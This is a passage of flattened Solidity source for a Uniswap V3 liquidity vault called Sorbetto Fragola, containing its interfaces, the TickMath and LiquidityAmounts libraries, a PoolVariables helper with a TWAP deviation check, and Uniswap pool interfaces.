* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity 0.7.6;
interface ISorbettoFragola {
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @return The address of the Uniswap V3 Pool
function pool() external view returns (IUniswapV3Pool);
/// @notice The lower tick of the range
function tickLower() external view returns (int24);
/// @notice The upper tick of the range
function tickUpper() external view returns (int24);
/**
* @notice Deposits tokens in proportion to the Sorbetto's current ticks.
* @param amount0Desired Max amount of token0 to deposit
* @param amount1Desired Max amount of token1 to deposit
* @return shares minted
* @return amount0 Amount of token0 deposited
* @return amount1 Amount of token1 deposited
*/
function deposit(uint256 amount0Desired, uint256 amount1Desired) external payable returns (uint256 shares, uint256 amount0,uint256 amount1);
/**
* @notice Withdraws tokens in proportion to the Sorbetto's holdings.
* @dev Removes proportional amount of liquidity from Uniswap.
* @param shares burned by sender
* @return amount0 Amount of token0 sent to recipient
* @return amount1 Amount of token1 sent to recipient
*/
function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1);
/**
* @notice Updates sorbetto's positions.
* @dev Finds base position and limit position for imbalanced token
* mints all amounts to this position(including earned fees)
*/
function rerange() external;
/**
* @notice Updates sorbetto's positions. Can only be called by the governance.
* @dev Swaps imbalanced token. Finds base position and limit position for imbalanced token if
* we don't have balance during swap because of price impact.
* mints all amounts to this position(including earned fees)
*/
function rebalance() external;
}
pragma solidity 0.7.6;
interface ISorbettoStrategy {
/// @notice Period of time that we observe for price slippage
/// @return time in seconds
function twapDuration() external view returns (uint32);
/// @notice Maximum deviation of time waited avarage price in ticks
function maxTwapDeviation() external view returns (int24);
/// @notice Tick multuplier for base range calculation
function tickRangeMultiplier() external view returns (int24);
/// @notice The protocol's fee denominated in hundredths of a bip, i.e. 1e-6
/// @return The fee
function protocolFee() external view returns (uint24);
/// @notice The price impact percentage during swap denominated in hundredths of a bip, i.e. 1e-6
/// @return The max price impact percentage
function priceImpactPercentage() external view returns (uint24);
}
pragma solidity >=0.5.0;
library PositionKey {
/// @dev Returns the key of the position in the core library
function compute(
address owner,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
}
}
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
pragma solidity >=0.5.0;
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
pragma solidity >=0.5.0;
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library PoolVariables {
using LowGasSafeMath for uint256;
// Cache struct for calculations
struct Info {
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0;
uint256 amount1;
uint128 liquidity;
int24 tickLower;
int24 tickUpper;
}
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
/// @param pool Uniswap V3 pool
/// @param liquidity The liquidity being valued
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amounts of token0 and token1 that corresponds to liquidity
function amountsForLiquidity(
IUniswapV3Pool pool,
uint128 liquidity,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256, uint256) {
//Get current price from the pool
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
liquidity
);
}
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
/// @param pool Uniswap V3 pool
/// @param amount0 The amount of token0
/// @param amount1 The amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return The maximum amount of liquidity that can be held amount0 and amount1
function liquidityForAmounts(
IUniswapV3Pool pool,
uint256 amount0,
uint256 amount1,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint128) {
//Get current price from the pool
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
amount0,
amount1
);
}
/// @dev Amounts of token0 and token1 held in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 The amount of token0 held in position
/// @return amount1 The amount of token1 held in position
function positionAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)
internal
view
returns (uint256 amount0, uint256 amount1)
{
//Compute position key
bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);
//Get Position.Info for specified ticks
(uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) =
pool.positions(positionKey);
// Calc amounts of token0 and token1 including fees
(amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);
amount0 = amount0.add(uint256(tokensOwed0));
amount1 = amount1.add(uint256(tokensOwed1));
}
/// @dev Amount of liquidity in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return liquidity stored in position
function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)
internal
view
returns (uint128 liquidity)
{
//Compute position key
bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);
//Get liquidity stored in position
(liquidity, , , , ) = pool.positions(positionKey);
}
/// @dev Common checks for valid tick inputs.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
function checkRange(int24 tickLower, int24 tickUpper) internal pure {
require(tickLower < tickUpper, "TLU");
require(tickLower >= TickMath.MIN_TICK, "TLM");
require(tickUpper <= TickMath.MAX_TICK, "TUM");
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--;
return compressed * tickSpacing;
}
/// @dev Gets ticks with proportion equivalent to desired amount
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param baseThreshold The range for upper and lower ticks
/// @param tickSpacing The pool tick spacing
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function getPositionTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing) internal view returns(int24 tickLower, int24 tickUpper) {
Info memory cache =
Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0);
// Get current price and tick from the pool
( uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
//Calc base ticks
(cache.tickLower, cache.tickUpper) = baseTicks(currentTick, baseThreshold, tickSpacing);
//Calc amounts of token0 and token1 that can be stored in base range
(cache.amount0, cache.amount1) = amountsForTicks(pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper);
//Liquidity that can be stored in base range
cache.liquidity = liquidityForAmounts(pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper);
//Get imbalanced token
bool zeroGreaterOne = amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1);
//Calc new tick(upper or lower) for imbalanced token
if ( zeroGreaterOne) {
uint160 nextSqrtPrice0 = SqrtPriceMath.getNextSqrtPriceFromAmount0RoundingUp(sqrtPriceX96, cache.liquidity, cache.amount0Desired, false);
cache.tickUpper = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing);
}
else{
uint160 nextSqrtPrice1 = SqrtPriceMath.getNextSqrtPriceFromAmount1RoundingDown(sqrtPriceX96, cache.liquidity, cache.amount1Desired, false);
cache.tickLower = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing);
}
checkRange(cache.tickLower, cache.tickUpper);
tickLower = cache.tickLower;
tickUpper = cache.tickUpper;
}
/// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 amounts of token0 that can be stored in range
/// @return amount1 amounts of token1 that can be stored in range
function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) {
uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper);
(amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);
}
/// @dev Calc base ticks depending on base threshold and tickspacing
function baseTicks(int24 currentTick, int24 baseThreshold, int24 tickSpacing) internal pure returns(int24 tickLower, int24 tickUpper) {
int24 tickFloor = floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
}
/// @dev Get imbalanced token
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param amount0 Amounts of token0 that can be stored in base range
/// @param amount1 Amounts of token1 that can be stored in base range
/// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced
function amountsDirection(uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1) internal pure returns (bool zeroGreaterOne) {
zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false;
}
// Check price has not moved a lot recently. This mitigates price
// manipulation during rebalance and also prevents placing orders
// when it's too volatile.
function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view {
(, int24 currentTick, , , , , ) = pool.slot0();
int24 twap = getTwap(pool, twapDuration);
int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick;
require(deviation <= maxTwapDeviation, "PSC");
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration
function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) {
uint32 _twapDuration = twapDuration;
uint32[] memory secondsAgo = new uint32[](2);
secondsAgo[0] = _twapDuration;
secondsAgo[1] = 0;
(int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration);
}
}
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
}
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
}
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
